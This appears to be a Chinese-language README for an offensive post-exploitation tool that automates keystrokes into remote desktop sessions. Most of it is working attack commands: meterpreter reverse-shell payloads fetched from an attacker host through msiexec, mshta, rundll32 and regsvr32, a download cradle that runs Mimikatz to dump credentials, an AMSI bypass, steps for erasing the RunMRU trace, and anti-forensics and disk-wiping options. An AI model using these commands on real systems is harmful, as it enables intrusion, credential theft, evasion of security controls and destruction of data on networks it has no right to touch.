一个通过活动远程桌面会话自动化击键的脚本,协助攻击操作人员结合利用系统自身技术(living off the land)。所有功劳归于 nopernik 使其成为可能,于是我决定自行对其改进。我希望有一个工具能在后渗透阶段通过远程桌面执行命令时提供帮助。同时,该脚本也为制作 SCPA 项目以有组织的方式收集资源提供了可能。
根据你的包管理器安装其余依赖项。``` $ sudo apt install -y xfreerdp-x11 remmina xdotool
$ sudo dnf install -y xdotool freerdp-2 remmina
$ sudo pacman -S freerdp remmina xdotool
$ sudo emerge xwayland freerdp remmina xdotool
$ sudo nix-env -iA nixpkgs.xwayland nixpkgs.xdotool nixpkgs.freerdp nixpkgs.remmina
### 设置
在系统中安装程序,并将 `rks` 创建为 `remotekeystrokes` 的符号链接。这将用作命令别名。```
$ sudo wget -O /usr/local/src/remotekeystrokes.sh https://raw.githubusercontent.com/U53RW4R3/RemoteKeyStrokes/main/remotekeystrokes.sh && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/rks && \
sudo chmod 755 /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes /usr/local/bin/rks
$ remotekeystrokes -h Usage: remotekeystrokes
Flags:
COMMON OPTIONS: -c, --command <command | file> Specify a command or a file contains commands to execute
-p, --platform <operating_system> Specify the operating system ("windows" is
set by default if not specified)
-w, --windowname <window_name> Specify the window name to focus on the
active window ("freerdp" is set by default
if not specified)
-h, --help Display this help message
UPLOAD FILES: -i, --input <input_file> Specify the local input file to transfer -o, --output <output_file> Specify the remote output file to transfer
METHODS: -m, --method Specify a method. For command execution method "none" is set by default if not specified. For file transfer "pwshb64" is set by default if not specified. Other available methods are: "elevate", "persistence", "antiforensics", and "mayhem"
-s, --submethod <submethod> Specify a submethod from a method (applies
with -m flag)
-a, --action <action> Specify an action from a method and/or
submethod (applies with -m and/or -s flag)
-e, --evasion <evasion> Specify an evasion method for uploading files
(only works for "pwshb64")
## 用法
### 0x00 - 远程认证
#### 图例
- 美元符号 (`$`) 表示具有普通用户权限的 Unix shell 提示符,并且包含命令。
- 尖括号 (`<>`) 表示必需参数。
- 方括号 (`[]`) 表示可选参数(如非必需指定)。
#### RDP
要对现代操作系统进行身份验证,请指定标志以强制使用 TLS 身份验证 `/sec:tls` 或 NLA 身份验证 `/sec:nla`。```
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:<tls | nla> [/d:"<domain_name>"] /u:"<username>" /p:"<password>" /v:<IP>:[<PORT>]
为了对旧版操作系统进行身份验证,请指定标志 /sec:rdp 以强制使用旧版身份验证。```
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:rdp [/d:"<domain_name>"] /u:"" /p:"" /v::[]
#### VNC
用于远程认证VNC机器。```
$ remmina -c vnc://<username>:<password>@<IP>
$ ssh [-p ] @
#### Telnet```
$ telnet <IP> [PORT]
要使用 remotekeystrokes(或别名命令 rks)在通过认证的远程会话中在 Windows 目标上执行命令,首先需要通过窗口名称(-w)进行导航,默认情况下使用 xfreerdp 时会搜索 FreeRDP。如果目标系统使用不同的远程登录程序,请务必指定窗口名称。使用 -c 标志来发出命令。你也可以准备一个文本文件,在其中插入命令,它会逐条读取这些命令。该标志会检查输入的是字符串还是文件。
适用于图形化远程桌面程序,例如 FreeRDP、Remmina 及其他第三方程序。与 telnet 和 ssh 等远程终端会话不同,你必须将光标定位到目标机器内的一个活动应用程序上。例如,在 Windows 环境中,你必须打开命令提示符(cmd.exe)或 PowerShell(powershell.exe)。Windows 可以通过对话框(-m dialogbox)快速启动程序。请确保在你最初使用该方法执行后,清除注册表中的痕迹。该痕迹位于 HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU。你将看到如何仅通过 Living off the Land(LotL)技术执行快速攻击性措施的示例。
本地机器枚举。``` $ cat recon_local_enum_cmds.txt whoami /all net user net localgroup Administrators ipconfig /all systeminfo
$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!
$ rks -c recon_local_enum_cmds.txt [*] Executing commands... [+] Task completed!
用单个命令即可执行。当与对话框一起使用时,这尤其简洁。```
$ rks -c "cmd.exe /k \"whoami /all & net user & net localgroup Administrators & ipconfig /all & systeminfo\"" -m dialogbox
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!
Active Directory 枚举。``` $ cat recon_ad_enum_cmds.txt net user /domain net group "Domain Admins" /domain net group "Enterprise Admins" /domain net group "Domain Computers" /domain
$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!
$ rks -c recon_ad_enum_cmds.txt [*] Executing commands... [+] Task completed!
在单个命令中执行。这在使用对话框时尤其简洁。```
$ rks -c "cmd.exe /k \"net user /domain & net group \"Domain Admins\" /domain & net group \"Enterprise Admins\" /domain & net group \"Domain Computers\" /domain\""
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!
本地机器枚举 (TODO)``` $ cat recon_local_enum_cmdlets.txt
$ rks -c "powershell.exe" -m dialogbox
$ rks -c recon_local_enum_cmdlets.txt
Active directory enumeration (TODO)```
$ cat recon_ad_enum_cmdlets.txt
$ rks -c "powershell.exe" -m dialogbox
$ rks -c recon_ad_enum_cmdlets.txt
在执行载荷的同时读取 PowerShell 的内容。``` $ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f psh -o payload.ps1
$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; run"
$ rks -c "powershell.exe" -m dialogbox
$ rks -c payload.ps1
使用 `metasploit-framework` 的漏洞利用模块 `exploit/multi/script/web_delivery` 执行一个 PowerShell 单行载荷。```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"
$ rks -c "cmd.exe" -m dialogbox
$ rks -c "powershell.exe -nop -w hidden -e <base64_payload>"
在托管 Web 服务器时,使用 msiexec.exe 执行载荷。```
$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f msi -o payload.msi
$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; run"
$ sudo python -m http.server 80
$ rks -c "msiexec /quiet /qn /i http://<attacker_IP>/payload.msi" -m dialogbox
使用 `metasploit-framework` 的漏洞利用模块 `exploit/windows/misc/hta_server`,通过 `mshta.exe` 执行负载。
```mshta.exe``````
$ sudo msfconsole -qx "use exploit/windows/misc/hta_server; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvhost <server_IP>; set srvport <server_PORT> run"
$ rks -c "mshta.exe http://<attacker_IP>:<attacker_PORT>/payload.hta" -m dialogbox
使用 metasploit-framework 的漏洞利用模块 exploit/windows/smb/smb_delivery 通过 rundll32.exe 执行 payload。```
$ sudo msfconsole -qx "use exploit/windows/smb/smb_delivery; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost <server_IP>; set file_name payload.dll; set share staging; run"
$ rks -c "rundll32.exe \<attacker_IP>\staging\payload.dll,0" -m dialogbox
通过 `regsvr32.exe` 并使用 `metasploit-framework` 的漏洞利用模块 `exploit/multi/script/web_delivery` 执行载荷。```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 3; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"
$ rks -c "regsvr32 /s /n /u /i://http://<attacker_IP>:<attacker_PORT>/payload.sct scrobj.dll" -m dialogbox
使用python并通过metasploit-framework的漏洞利用模块exploit/multi/script/web_delivery进行执行和植入。```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 0; set payload python/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"
$ rks -c "python -c """
### 0x03 - 文件传输
共有 11 种文件传输方法。
| 方法 | 平台 | 描述 |
| -------------- | ----------------- | ----------- |
| `pwshb64` | Windows 和 Linux | 将文件编码为 base64,然后使用 powershell 解码。 |
| `cmdb64` | Windows | 使用 `copy con` 输出编码后的 base64 文件内容,然后使用 `CertUtil.exe` 解码。 |
| `nixb64` | Unix | 将 base64 内容解码为文件。 |
| `outfile` | Windows 和 Linux | 使用 `Out-File` cmdlet 输出文本文件。 |
| `outfileb64` | Windows | 使用 `Out-File` cmdlet 输出编码后的 base64 文件内容,然后使用 `CertUtil.exe` 解码。 |
| `copycon` | Windows | 使用 `copy con` 命令输出文本文件。 |
| `pwshhex` | Windows 和 Linux | 将文件编码为十六进制,然后使用 powershell 解码。 |
| `cmdhex` | Windows | 将一个十六进制编码的单行内容输出到变量中,然后使用 `CertUtil.exe` 解码。 |
| `copyconhex` | Windows | 使用 `copy con` 输出编码后的十六进制转储文件内容,然后使用 `CertUtil.exe` 解码。 |
| `nixhex` | Unix | 将一个十六进制编码的单行内容输出到变量中,然后使用 `echo -e` 解码以解释 `\x` 转义字符。这适用于处理物联网设备,特别是当 Telnet 缺乏传输文件的功能时。 |
| `outfilehex` | Windows | 使用 `Out-File` cmdlet 输出编码后的十六进制转储文件内容,然后使用 `CertUtil.exe` 解码。 |
在隔离网络中进行横向移动时,可远程上传文件。若要在 Windows 上指定远程路径,请确保包含引号。默认情况下,若未指定,则使用 Powershell base64 传输文件。这也适用于释放器(droppers),即使文件较大。请注意,完成文件传输需要一定时间。```
$ rks -c "powershell.exe" -m dialogbox
$ rks -i Invoke-Mimikatz.ps1 -o "C:\Windows\Temp\update.ps1" -m pwshb64
[*] Transferring file...
[+] File transferred!
为了传输 dropper,你可以使用 CertUtil.exe 的 base64 功能,特别是当它比较大时。```
$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport=8443 -f exe -o payload.exe
To transfer droppers with powershell via `CertUtil.exe` base64.```
$ rks -c "powershell.exe" -m dialogbox
$ rks -i payload.exe -o payload.exe -m outfileb64
对于旧版操作系统也可以传输文件,例如Windows XP,它除了command prompt外缺少PowerShell。``` $ rks -c "cmd.exe" -m dialogbox
$ rks -i payload.exe -o payload.exe -m cmdb64
启动你的C2监听器并执行载荷。```
$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp set lhost <IP>; set lport 8443; run"
$ rks -c ".\payload.exe"
另一种文件传输方式,尤其适用于系统管理员和攻击工具。以 PsExec64.exe 为例,该工具需要我们先进行横向移动。通过文本方式上传会非常耗时且容易中断。相反,最快的方式是挂载属于 sysinternals 套件工具包合法网站的 WebDAV(live.sysinternals.com)。与其使用文件资源管理器(速度远慢于执行命令),不如使用命令。以下是命令提示符中的命令。```
$ cat commands.txt
net use z: \live.sysinternals.com\tools
copy z:\PsExec64.exe .
net use z: /delete
$ rks -c "cmd.exe" -m dialogbox
$ rks -c commands.txt
这是在 Windows 中传输 `PsExec64.exe` 时 PowerShell cmdlet 的另一个变体。```
$ cat cmdlets.txt
New-PSDrive -Name Z -PSProvider FileSystem -Root "\\live.sysinternals.com\tools"
Copy-Item z:\PsExec64.exe .
Remove-PSDrive -Name Z
$ rks -c "powershell.exe" -m dialogbox
$ rks -c cmdlets.txt
通过 PowerShell 获取无文件恶意软件或攻击工具的最佳方式,是简单地托管/检索合法网站(例如 https://github.com)并执行它。让我们使用 Invoke-Mimikatz 从 nishang 下载并执行凭据抓取 cradle。```
$ cat hashdump.txt
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds
$ rks -c "powershell.exe" -m dialogbox
$ rks -c hashdump.txt
如果你有大文件,几乎不可能等待文件传输完成。`xfreerdp` 允许使用 `/drive:/path/to/directory/` 标志挂载本地目录。然后导航到文件浏览器或 shell 提示符下的 `\\tsclient\<share_name>\` 来查看内容。```
$ mkdir Tools
$ cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe Tools/
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:<tls | rdp | nla> [/d:"<domain_name>"] /u:"<username>" /p:"<password>" /v:<IP>:[<PORT>] /drive:Tools
$ rks -c "cmd.exe" -m dialogbox
$ rks -c "dir \\tsclient\<share_name>\"
注意:WIP(正在开发中)``` $ rks -m elevate -s bypassuac -a info
$ rks -m elevate -s <sub_method>
### 0x05 - 持久化
注意:WIP(正在开发中)```
$ rks -m persistence -s createuser
$ rks -m persistence -s sethc
注意:WIP(正在进行中)
您可以将 AMSI 绕过 与 PowerShell 植入工具结合使用,以绕过 Windows 安全或任何集成了 AMSI 扫描程序的安全解决方案。``` $ cat amsi_bypass.ps1 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
$ cat amsi_bypass.ps1 implant.ps1 > payload.ps1
$ rks -c "powershell.exe" -m dialogbox
$ rks -c payload.ps1
INPUT:```
$ rks -m antiforensics -s wevutils
$ rks -m antiforensics -s winevent
$ rks -m antiforensics -s eventvwr
注意:WIP(正在进行中)``` $ rks -m mayhem -s diskpart -a info
$ rks -m mayhem -s diskpart -a cmd
$ rks -m mayhem -s diskpart -a pwsh
### 0x08 - 指定窗口名称。
如果您针对的是VNC、Telnet或其他网络协议,可以指定窗口名称。当您使用`remmina`或其他已重命名窗口的终端实例时,这很有用。```
$ rks -c implant.ps1 -w <window_name>
当我手动使用键盘输入或通过鼠标导航和点击时(尤其是在本地网络之外),效率非常低。我只是想加快入侵网络时的流程。
不一定。我也让它适用于远程控制台,比如 Telnet,因为它缺乏文件传输功能。
这些技术是通用的,可以重复用于 BadUSB、恶意软件开发或任何其他相关项目。它采用 GNU GPLv3 的著佐权许可证,允许您作为用户有权查看程序如何运行、根据需求修改源代码,并连同源代码一起重新分发给其他用户。
wayland 显示服务器吗?目前还没有兼容的 Wayland 工具可以替代 xdotool。dotool 很有前景,但缺少聚焦窗口的特定功能。kdotool 仅适用于 KDE 桌面环境。我可能不得不用 Go(因为已有 dotool)或使用 pynput 库的 Python 重新实现它。
首次运行程序时,它应显示一些自解释信息。请切换到 x11 窗口服务器。关于为什么不支持 wayland,请参考常见问题解答。```
$ rks -c "powershell.exe" -m searchbox
[ERROR] Wayland isn't supported!
[*] Terminating program...
### 卸载攻击工具
要卸载它。```
$ sudo rm -f /usr/local/bin/remotekeystrokes /usr/local/bin/rks
用户需自行承担其行为后果的责任。请记住,能力越大,责任越大。